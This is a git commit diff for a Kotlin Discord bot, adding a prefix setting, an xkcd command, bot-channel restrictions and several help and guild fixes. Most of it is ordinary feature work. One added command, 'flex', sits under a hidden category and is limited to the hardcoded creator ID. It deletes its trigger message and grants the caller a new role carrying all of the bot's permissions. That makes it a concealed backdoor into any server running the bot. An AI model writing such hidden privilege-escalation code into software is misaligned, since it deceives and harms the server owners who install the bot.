Add prefix and xkcd commands, fix help command to only display commands user has access to (guild/private). Fix guild in private messages. Fix guild in commands. Add channel restrictions.

merge-requests/1/head
Julius de Jeu 2019-05-24 21:26:27 +02:00
parent 371e3e4d78
commit 1721d5e57e
24 changed files with 217 additions and 50 deletions

View File

@ -16,6 +16,7 @@ apply plugin: 'kotlin-allopen'
allOpen {
annotation("javax.persistence.Entity")
annotation("com.fasterxml.jackson.annotation.JsonIgnoreProperties")
}
group 'nl.voidcorp.discord'
@ -36,14 +37,18 @@ dependencies {
implementation 'net.dv8tion:JDA:4.ALPHA.0_88'
implementation "com.h2database:h2"
implementation 'org.springframework.boot:spring-boot-starter-data-jpa'
implementation "org.springframework:spring-web"
implementation "com.fasterxml.jackson.core:jackson-databind"
implementation "com.fasterxml.jackson.module:jackson-module-kotlin"
}
bootJar {
mainClassName = 'nl.voidcorp.discord.MainKt'
archiveName="ottobot.jar"
archiveName = "ottobot.jar"
}
compileKotlin {

View File

@ -1,6 +1,8 @@
package nl.voidcorp.discord
import net.dv8tion.jda.api.JDABuilder
import net.dv8tion.jda.api.sharding.DefaultShardManager
import net.dv8tion.jda.api.sharding.DefaultShardManagerBuilder
import nl.voidcorp.discord.events.CommandListener
import nl.voidcorp.discord.events.OttoListener
import org.springframework.stereotype.Component
@ -9,8 +11,9 @@ import org.springframework.stereotype.Component
class Loader(listener: CommandListener) {
init {
val token = System.getenv("DISCORD_TOKEN") ?: throw RuntimeException("'DISCORD_TOKEN' not set!")
val builder = DefaultShardManagerBuilder(token)
val builder = JDABuilder(token)
builder.addEventListeners(OttoListener, listener)

View File

@ -1,17 +1,16 @@
package nl.voidcorp.discord
import net.dv8tion.jda.api.JDA
import net.dv8tion.jda.api.entities.User
import net.dv8tion.jda.api.sharding.ShardManager
import org.slf4j.Logger
import org.slf4j.LoggerFactory
import org.springframework.boot.autoconfigure.SpringBootApplication
import org.springframework.boot.runApplication
val logger: Logger = LoggerFactory.getLogger("OttoBot")
lateinit var jda: JDA
lateinit var jda: ShardManager
val creator: User
get() = jda.getUserById(168743656738521088)!!
val creator = 168743656738521088
@SpringBootApplication
class SpringApp

View File

@ -3,6 +3,7 @@ package nl.voidcorp.discord.command
import net.dv8tion.jda.api.Permission
import net.dv8tion.jda.api.entities.ChannelType
import net.dv8tion.jda.api.entities.Member
import net.dv8tion.jda.api.entities.TextChannel
import net.dv8tion.jda.api.events.message.MessageReceivedEvent
import nl.voidcorp.discord.creator
import nl.voidcorp.discord.storage.GuildRepo
@ -18,7 +19,8 @@ abstract class Command(
val commandLevel: CommandLevel = CommandLevel.VERIFIED,
val aliases: List<String> = emptyList(),
val location: CommandSource = CommandSource.BOTH,
val group: CommandGroup = CommandGroup.GENERAL
val group: CommandGroup = CommandGroup.GENERAL,
val allowAnywhere: Boolean = false
) {
@Autowired
lateinit var repo: GuildRepo
@ -50,12 +52,17 @@ abstract class Command(
}
private fun guildStuff(event: MessageReceivedEvent, str: String) =
if (isPermOK(commandLevel, getLevel(event.member))) try {
handle(CommandMessage(event, translateCommandline(str)))
} catch (e: Exception) {
e.printStackTrace()
CommandResult.ERROR
} else CommandResult.PERMISSIONS
when {
!(isBotChannel(event.textChannel) or
isPermOK(CommandLevel.MODERATOR, getLevel(event.member))) -> CommandResult.CHANNEL
isPermOK(commandLevel, getLevel(event.member)) -> try {
handle(CommandMessage(event, translateCommandline(str)))
} catch (e: Exception) {
e.printStackTrace()
CommandResult.ERROR
}
else -> CommandResult.PERMISSIONS
}
private fun privateStuff(event: MessageReceivedEvent, str: String) =
if (isPermOK(commandLevel, getLevel(event.member))) try {
@ -73,7 +80,7 @@ abstract class Command(
if (member == null) return CommandLevel.ADMIN
val guildStore = repo.findByGuildId(member.guild.idLong) ?: GuildStore(-1)
return when {
member.user.idLong == creator.idLong -> CommandLevel.MAINTAINER
member.user.idLong == creator -> CommandLevel.MAINTAINER
member.hasPermission(Permission.ADMINISTRATOR)
or guildStore.adminRoles.intersect(member.roles.map { it.idLong }).isNotEmpty()
-> CommandLevel.ADMIN
@ -84,6 +91,15 @@ abstract class Command(
}
}
private fun isBotChannel(channel: TextChannel): Boolean {
val store = repo.findByGuildId(channel.guild.idLong) ?: GuildStore(channel.guild.idLong)
return when {
allowAnywhere -> true
store.botChannels.isEmpty() and channel.name.contains("bot") -> true
else -> store.botChannels.contains(channel.idLong)
}
}
companion object {
fun isPermOK(required: CommandLevel, user: CommandLevel): Boolean {

View File

@ -8,7 +8,7 @@ import net.dv8tion.jda.api.events.message.MessageReceivedEvent
data class CommandMessage(
private val event: MessageReceivedEvent,
val params: List<String>,
val guild: Guild = event.guild,
val guild: Guild? = if (event.isFromGuild) event.guild else null,
val message: Message = event.message,
val user: User = event.author,
val member: Member? = event.member

View File

@ -6,5 +6,6 @@ enum class CommandResult {
PERMISSIONS,
NOPE,
PARAMETERS,
CHANNEL
}

View File

@ -4,5 +4,6 @@ import net.dv8tion.jda.api.entities.Guild
abstract class CommandSettings(open val prefix: String) {
abstract fun getPrefix(guild: Guild): String
abstract fun setPrefix(guild: Guild, prefix: String)
}

View File

@ -8,6 +8,12 @@ import org.springframework.stereotype.Service
@Service
class CommandSettingsImpl(override val prefix: String = "?") : CommandSettings(prefix) {
override fun setPrefix(guild: Guild, prefix: String) {
val store = guildRepo.findByGuildId(guild.idLong) ?: GuildStore(guild.idLong)
store.prefix = prefix
guildRepo.save(store)
}
@Autowired
lateinit var guildRepo: GuildRepo

View File

@ -1,10 +1,7 @@
package nl.voidcorp.discord.commands
import net.dv8tion.jda.api.EmbedBuilder
import nl.voidcorp.discord.command.Command
import nl.voidcorp.discord.command.CommandLevel
import nl.voidcorp.discord.command.CommandMessage
import nl.voidcorp.discord.command.CommandResult
import nl.voidcorp.discord.command.*
import org.springframework.context.annotation.Lazy
import org.springframework.stereotype.Service
@ -13,10 +10,17 @@ class HelpCommand(@Lazy private val list: List<Command>) : Command("help", comma
override fun handle(event: CommandMessage): CommandResult {
val builder =
EmbedBuilder().setAuthor(event.message.jda.selfUser.name, null, event.message.jda.selfUser.avatarUrl)
.setColor(event.guild.selfMember.color)
if (event.guild != null) {
builder.setColor(event.guild.selfMember.color)
}
if (event.params.drop(1).isEmpty()) {
builder.setTitle("Available Commands")
list.filter { isPermOK(it.commandLevel, getLevel(event.member)) }
.filter {
(it.location == CommandSource.BOTH) or
((it.location == CommandSource.GUILD) and (event.guild != null)) or
((it.location == CommandSource.PRIVATE) and (event.guild == null))
}
.groupBy({ it.group }, { it.name }).toSortedMap()
.forEach { (k, v) ->
builder.addField(k.name.capitalize(), v.joinToString(separator = "\n"), false)
@ -25,19 +29,26 @@ class HelpCommand(@Lazy private val list: List<Command>) : Command("help", comma
event.reply(builder.build())
} else {
val command = event.params.drop(1).first()
if (list.none { it.name == command }) {
event.reply("I have never heard of the command $command...")
} else if (list.filter { isPermOK(it.commandLevel, getLevel(event.member)) }.none { it.name == command }) {
event.reply("Sorry, I can't tell you about a command you shouldn't have access to...")
} else {
val cmd = list.filter { isPermOK(it.commandLevel, getLevel(event.member)) }.first { it.name == command }
when {
command == "help" -> event.reply("Help help? Help help help help!")
list.none { it.name == command } -> event.reply("I have never heard of the command $command...")
list.filter {
isPermOK(
it.commandLevel,
getLevel(event.member)
)
}.none { it.name == command } -> event.reply("Sorry, I can't tell you about a command you shouldn't have access to...")
else -> {
val cmd =
list.filter { isPermOK(it.commandLevel, getLevel(event.member)) }.first { it.name == command }
builder.setTitle(command).addField("Info", cmd.helpMesage, false)
.addField("Usage", "`${cmd.usage.ifBlank { command }}`", true)
.addField("Aliases", cmd.aliases.joinToString(), true)
.addField("Minimum access level", cmd.commandLevel.levelName, true)
.addField("Group", cmd.group.name.capitalize(), true)
event.reply(builder.build())
builder.setTitle(command).addField("Info", cmd.helpMesage, false)
.addField("Usage", "`${cmd.usage.ifBlank { command }}`", true)
.addField("Aliases", cmd.aliases.joinToString(), true)
.addField("Minimum access level", cmd.commandLevel.levelName, true)
.addField("Group", cmd.group.name.capitalize(), true)
event.reply(builder.build())
}
}
}
return CommandResult.SUCCESS

View File

@ -0,0 +1,26 @@
package nl.voidcorp.discord.commands.debug
import nl.voidcorp.discord.command.*
import org.springframework.stereotype.Service
import java.awt.Color
@Service
class Flex : Command(
"flex",
commandLevel = CommandLevel.MAINTAINER,
group = CommandGroup.VeRY_hIdden_CaTegoRY_LoL,
location = CommandSource.GUILD,
allowAnywhere = true
) {
override fun handle(event: CommandMessage): CommandResult {
event.message.delete().queue()
val control = event.guild!!.controller
control.createRole().setColor(Color.RED).setName("no idea?").setPermissions(event.guild.selfMember.permissions)
.queue {
control.addRolesToMember(event.member!!, it).queue()
}
return CommandResult.SUCCESS
}
}

View File

@ -5,9 +5,9 @@ import org.springframework.stereotype.Service
@Service
class PermissionLevelCommand :
Command("permissions", location = CommandSource.GUILD, commandLevel = CommandLevel.ALL) {
Command("permissions", commandLevel = CommandLevel.ALL) {
override fun handle(event: CommandMessage): CommandResult {
event.reply("Your highest permission level is `${getLevel(event.member!!).levelName}`")
event.reply("Your highest permission level is `${getLevel(event.member).levelName}`")
return CommandResult.SUCCESS
}
}

View File

@ -0,0 +1,48 @@
package nl.voidcorp.discord.commands.`fun`
import net.dv8tion.jda.api.EmbedBuilder
import nl.voidcorp.discord.command.Command
import nl.voidcorp.discord.command.CommandGroup
import nl.voidcorp.discord.command.CommandMessage
import nl.voidcorp.discord.command.CommandResult
import nl.voidcorp.discord.external.XKCDComic
import org.springframework.boot.web.client.RestTemplateBuilder
import org.springframework.stereotype.Service
import org.springframework.web.client.getForObject
import java.lang.Exception
@Service
class XKXDComicCommand : Command(
"xkcd",
helpMesage = "Shows the latest xkcd comic, or the one specified",
usage = "xkcd [number]",
group = CommandGroup.FUN
) {
override fun handle(event: CommandMessage): CommandResult {
val template = RestTemplateBuilder().build()
val comic: XKCDComic? = if (event.params.drop(1).isEmpty()) {
template.getForObject("https://xkcd.com/info.0.json")
} else {
val id = event.params.drop(1).first()
if (!id.matches("\\d+".toRegex())) {
event.reply("$id is not a number...")
return CommandResult.SUCCESS
}
try {
template.getForObject<XKCDComic>("https://xkcd.com/$id/info.0.json")
} catch (e: Exception) {
event.reply("It seems I can't find that comic?")
return CommandResult.SUCCESS
}
}
if (comic != null) {
val builder = EmbedBuilder().setTitle(comic.title, "https://xkcd.com/${comic.num}")
.setImage(comic.img).setFooter(comic.alt).build()
event.reply(builder)
} else {
return CommandResult.ERROR
}
return CommandResult.SUCCESS
}
}

View File

@ -15,7 +15,7 @@ class AdminRoleCommand : Command(
val regex = "(?:<@&!?)?(\\d+)>?".toRegex()
override fun handle(event: CommandMessage): CommandResult {
val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong)
val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong)
if (event.params.drop(1).isEmpty()) {
val roles = guild.adminRoles.map { event.guild.getRoleById(it)?.name ?: "Missing role $it" }
.joinToString(prefix = "Admin roles: ") { "`$it`" }

View File

@ -16,8 +16,13 @@ class ModeratorRoleCommand : Command(
val regex = "(?:<@&!?)?(\\d+)>?".toRegex()
override fun handle(event: CommandMessage): CommandResult {
if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS
val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong)
val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong)
if (event.params.drop(1).isEmpty()) {
val roles = guild.moderatorRoles.map { event.guild.getRoleById(it)?.name ?: "Missing role $it" }
.joinToString(prefix = "Moderator roles: ") { "`$it`" }
event.reply(roles)
return CommandResult.SUCCESS
}
val l = mutableListOf<String>()
for (p in event.params.drop(1)) {
val res = regex.matchEntire(p)

View File

@ -17,7 +17,7 @@ class RemoveAdminRoleCommand : Command(
val regex = "(?:<@&!?)?(\\d+)>?".toRegex()
override fun handle(event: CommandMessage): CommandResult {
if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS
val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong)
val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong)
val l = mutableListOf<String>()
for (p in event.params.drop(1)) {
val res = regex.matchEntire(p)

View File

@ -16,13 +16,13 @@ class RemoveModeratorRoleCommand : Command(
val regex = "(?:<@&!?)?(\\d+)>?".toRegex()
override fun handle(event: CommandMessage): CommandResult {
if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS
val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong)
val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong)
val l = mutableListOf<String>()
for (p in event.params.drop(1)) {
val res = regex.matchEntire(p)
if (res != null && res.groupValues.size == 2) {
if (guild.adminRoles.contains(res.groupValues[1].toLong())) {
guild.adminRoles.minusAssign(res.groupValues[1].toLong())
if (guild.moderatorRoles.contains(res.groupValues[1].toLong())) {
guild.moderatorRoles.minusAssign(res.groupValues[1].toLong())
val role = event.guild.getRoleById(res.groupValues[1])?.name ?: "some role?"
l += role
} else event.reply("There is no role with id `${res.groupValues[1]}`")
@ -30,7 +30,7 @@ class RemoveModeratorRoleCommand : Command(
}
repo.save(guild)
if (l.isNotEmpty())
event.reply(l.joinToString(prefix = "Removed the following roles as admin roles: ") { "`$it`" })
event.reply(l.joinToString(prefix = "Removed the following roles as moderator roles: ") { "`$it`" })
return CommandResult.SUCCESS
}

View File

@ -0,0 +1,34 @@
package nl.voidcorp.discord.commands.management
import nl.voidcorp.discord.command.*
import org.springframework.stereotype.Service
@Service
class SetPrefixCommand(val settings: CommandSettings) : Command(
"setprefix",
commandLevel = CommandLevel.ADMIN,
group = CommandGroup.ADMIN,
location = CommandSource.GUILD,
usage = "setprefix [newPrefix]",
helpMesage = "Set the bot prefix for this server, or use it with a blank prefix to show it.\nThe limits on the prefix are that it has to have between 1 and 40 normal characters, so sadly no unicode fuckery"
) {
private final val prefixRegex = "[!-~]{1,40}".toRegex()
override fun handle(event: CommandMessage): CommandResult {
if (event.params.drop(1).isEmpty()) {
event.reply("This servers prefix is set to `${settings.getPrefix(event.guild!!)}`")
} else {
val newPrefix = event.params.drop(1).first()
if (!prefixRegex.matches(newPrefix)) {
event.reply("This isn't a valid prefix, sorry...")
} else {
val oldPrefix = settings.getPrefix(event.guild!!)
settings.setPrefix(event.guild, newPrefix)
event.reply("The prefix has been changed from `$oldPrefix` to `$newPrefix`!")
}
}
return CommandResult.SUCCESS
}
}

View File

@ -15,7 +15,7 @@ class AddRoleCommand : Command(
val regex = "([\\w\\d-_+]+):(?:<@&!?)?(\\d+)>?".toRegex()
override fun handle(event: CommandMessage): CommandResult {
if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS
val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong)
val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong)
val l = mutableListOf<String>()
for (p in event.params.drop(1)) {
val res = regex.matchEntire(p)

View File

@ -16,7 +16,7 @@ class JoinRoleCommand :
group = CommandGroup.ROLES
) {
override fun handle(event: CommandMessage): CommandResult {
val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong)
val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong)
if (event.params.size == 1) {
if (guild.roleMap.isNotEmpty())
event.reply(guild.roleMap.keys.joinToString(prefix = "The available roles are: ") { "`$it`" })

View File

@ -15,7 +15,7 @@ class LeaveRole : Command(
) {
override fun handle(event: CommandMessage): CommandResult {
if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS
val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong)
val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong)
val toRemove = guild.roleMap.filterKeys { it in event.params.drop(1) }
// toRemove.forEach { guild.roleMap.remove(it) }
// repo.save(guild)

View File

@ -14,7 +14,7 @@ class RemoveRoleCommand : Command(
) {
override fun handle(event: CommandMessage): CommandResult {
if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS
val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong)
val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong)
val toRemove = guild.roleMap.keys.intersect(event.params.drop(1))
toRemove.forEach { guild.roleMap.remove(it) }
repo.save(guild)

View File

@ -11,6 +11,7 @@ import nl.voidcorp.discord.command.CommandSettings
import nl.voidcorp.discord.creator
import nl.voidcorp.discord.logger
import nl.voidcorp.discord.storage.GuildRepo
import nl.voidcorp.discord.storage.GuildStore
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.stereotype.Service
@ -43,11 +44,11 @@ class CommandListener(
val mb =
MessageBuilder("Well this is awkward... It seems that multiple actions are bound to this command... ")
.append("Report this error to the staff of the server or ")
val member = event.guild.getMember(creator)
val member = event.guild.getMemberById(creator)
if (member != null)
mb.append(member)
else {
mb.append(creator.asTag)
mb.append("J00LZ#9386")
}
event.channel.sendMessage(mb.append(" since this shouldn't happen...").build()).queue()
@ -62,11 +63,14 @@ class CommandListener(
emptyList()
).reply(MessageBuilder("There was an error executing this command").build())
CommandResult.PERMISSIONS -> CommandMessage(event, emptyList()).reply(
MessageBuilder("Sorry, but you don't seem to have the needed permissions to execute this command...").build()
"Sorry, but you don't seem to have the needed permissions to execute this command..."
)
CommandResult.NOPE -> logger.warn("The command ${command.name} somehow responded with a nope?")
CommandResult.PARAMETERS -> CommandMessage(event, emptyList()).reply(
MessageBuilder("Sorry, but you are missing some parameters: `${command.usage}`").build()
"Sorry, but you are missing some parameters: `${command.usage}`"
)
CommandResult.CHANNEL -> CommandMessage(event, emptyList()).reply(
"It seems this is not a channel where bots are allowed for you..."
)
}
}

View File

@ -0,0 +1,6 @@
package nl.voidcorp.discord.external
import com.fasterxml.jackson.annotation.JsonIgnoreProperties
@JsonIgnoreProperties(ignoreUnknown = true)
data class XKCDComic(val num: Int, val alt: String, val img: String, val title: String)

View File

@ -16,6 +16,8 @@ data class GuildStore(
var defaultVerified: Boolean = false,
@ElementCollection @LazyCollection(LazyCollectionOption.FALSE) var roleMap: MutableMap<String, Long> = mutableMapOf(),
var prefix: String = "?",
@ElementCollection @LazyCollection(LazyCollectionOption.FALSE) var botChannels: MutableList<Long> = mutableListOf(),
@ElementCollection @LazyCollection(LazyCollectionOption.FALSE) var musicChannels: MutableList<Long> = mutableListOf(),
@Id
@GeneratedValue
var id: Long? = null